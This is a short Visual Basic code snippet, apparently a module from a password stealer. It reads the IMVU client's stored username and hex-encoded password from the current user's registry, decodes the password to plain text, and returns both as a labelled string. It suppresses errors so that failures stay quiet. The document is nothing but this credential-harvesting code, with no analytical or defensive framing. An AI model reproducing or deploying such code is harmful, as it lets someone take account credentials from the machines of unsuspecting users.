Public Function GETIMVU() As String
        Dim sUser, sPass As String ' // Some Variables
        sUser = "HKEY_CURRENT_USER\Software\IMVU\username\" ' // Username REG Path
        sPass = "HKEY_CURRENT_USER\Software\IMVU\password\" ' // Password REG Path
        GETIMVU = "IMVU : " & vbNewLine & "Username : " & ReadKey(sUser) & vbNewLine & "Password : " & Hex2Ascii(ReadKey(sPass))
    End Function

    Function ReadKey(ByRef hKey As String) As Object ' // Function for Read REG Values
        On Error GoTo Error_Renamed ' // If Error dont Display Error
        Dim X As Object ' //
        X = CreateObject("WScript.shell") ' // Create REG Object
        ReadKey = X.regread(hKey) ' // Read The Key
        Exit Function
Error_Renamed: ReadKey = vbNullString ' // If Error Readkey = ""
    End Function

    Public Function Hex2Ascii(ByVal Text As String) As String
        Dim Value As Object
        Dim num As Object
        Dim i As Object ' // Simple Function for Pass Hex to Ascii
        Value = Nothing
        For i = 1 To Len(Text) ' Len of Encripted Text
            num = Mid(Text, i, 2) ' // Go Chr by Chr
            Value = Value & Chr(Val("&h" & num)) ' // Pass from Hex
            i = i + 1 ' // +1
        Next i ' Next Chr

        Hex2Ascii = Value ' //
    End Function